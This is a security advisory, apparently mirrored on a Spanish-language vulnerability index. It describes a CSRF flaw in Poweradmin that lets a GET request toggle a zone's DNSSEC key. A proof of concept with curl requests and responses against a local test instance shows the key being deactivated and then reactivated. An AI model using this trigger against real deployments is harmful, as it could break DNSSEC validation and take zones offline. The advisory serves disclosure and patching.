GHSA-RJCC-M8CX-6P4C
Missing CSRF protection on the GET-triggered DNSSEC key toggle
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-RJCC-M8CX-6P4C divulgada · CVSS 8.1 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Poweradmin performs the DNSSEC key toggle (activate or deactivate a zone signing key) on a plain HTTP GET without validating the application's CSRF token. Because the session cookie is issued with `SameSite=Lax`, which still attaches cookies to cross-site top-level GET navigations, an attacker who can get a logged-in operator to visit a crafted page or link can make the operator's browser perform it.
Details
Poweradmin has a working CSRF facility (`CsrfTokenService`, a random token in `$_SESSION['csrf_token']`, compared with `hash_equals`, validated by `BaseController::validateCsrfToken()`), and the majority of destructive controllers use it correctly, e.g. `DeleteRecordController`, `DeleteDomainController`, `DeleteUserController`, `DeleteGroupController` all execute `if ($this->isPost()) { $this->validateCsrfToken(); ... }`. The following controllers omit the check entirely and are driven by GET query parameters instead of an authenticated POST:
`DnssecToggleKeyController`, route `GET|POST /zones/{zone_id}/dnssec/keys/{key_id}/toggle`. Validates numeric IDs and zone-edit permission, then immediately toggles the key. There isn't even a `confirm` parameter.
// lib/Application/Controller/DnssecToggleKeyController.php, no isPost()/validateCsrfToken() gate
if ($is_active) {
$result = $dnssecProvider->deactivateZoneKey($domain_name, $key_id);
} else {
$result = $dnssecProvider->activateZoneKey($domain_name, $key_id);
}The route accepts `GET` and the controller performs no `isPost()` or `validateCsrfToken()` check.
Why the GET reachability matters. `initializeSession()` sets the session cookie with `samesite => 'Lax'`. `SameSite=Lax` deliberately does attach the cookie to cross-site top-level GET navigations (`window.location`, `<a target=_blank>`, `<meta http-equiv=refresh>`, or a 302 from an attacker's own server); it only blocks cross-site *subresource* loads such as `<img src>`.
Contrast with a correctly protected sibling, confirmed live: `DeleteRecordController` requires `isPost()` and `validateCsrfToken()`, and a plain GET against its delete route returns the confirmation page rather than performing the deletion; a POST with no token is likewise rejected.
PoC
All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8123` via PHP's built-in development server with no external network exposure. The DNSSEC toggle steps additionally use a mock PowerDNS API server, also self-hosted locally on `127.0.0.1:9999`, standing in for a real PowerDNS instance.
All fired with `curl` as plain `GET` requests, authenticated session cookie only (`-b admin.jar -c admin.jar` / `-b zm.jar -c zm.jar`), no CSRF token supplied in any request.
Session cookie attribute, confirmed live:
$ curl -sS -i 'http://127.0.0.1:8123/login'HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:13:40 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=pfhg11kc9b21aq3kajj489pj4c; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=utf-8
<!doctype html>
...DNSSEC key toggle, against a mock PowerDNS API standing in for a live server:
$ curl -sS -i -b admin.jar -c admin.jar \
'http://127.0.0.1:8123/zones/13/dnssec/keys/1/toggle'HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:14:33 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=ojpd8uj552dr4judnhg0e3h5me; path=/; HttpOnly; SameSite=Lax
Location: /zones/13/dnssec
Content-type: text/html; charset=UTF-8$ tail -3 /tmp/mockpdns/requests.logGET /api/v1/servers/localhost/config BODY=
GET /api/v1/servers/localhost/zones/admin-zone.test/cryptokeys BODY=
PUT /api/v1/servers/localhost/zones/admin-zone.test/cryptokeys/1 BODY={"active":false}Firing the same GET again flipped it back:
$ curl -sS -i -b admin.jar -c admin.jar \
'http://127.0.0.1:8123/zones/13/dnssec/keys/1/toggle'HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:14:40 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=71lrfn4rhiffotub9n7ak3aclg; path=/; HttpOnly; SameSite=Lax
Location: /zones/13/dnssec
Content-type: text/html; charset=UTF-8$ tail -1 /tmp/mockpdns/requests.logPUT /api/v1/servers/localhost/zones/admin-zone.test/cryptokeys/1 BODY={"active":true}Impact
An attacker-controlled page that a logged-in operator merely visits can deactivate a zone's DNSSEC signing key while its DS record remains published in the parent zone, rendering the zone `BOGUS` to every DNSSEC-validating resolver and causing an outage for a large share of clients while the zone still answers normally from Poweradmin's point of view.
Split note: this advisory originally covered five endpoints with the same omission. Each needed its own fix, so the other four are now tracked separately: GHSA-vgcj-qcxf-v8p5 (template record delete), GHSA-3xjq-2xjr-22gq (template delete), GHSA-pp7c-29cm-2778 (supermaster delete) and GHSA-8hpx-j299-mp92 (permission template delete).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 3.9.12, 4.2.6, 4.3.5, 4.4.1 | — | — |
3.9.124.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-rjcc-m8cx-6p4cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
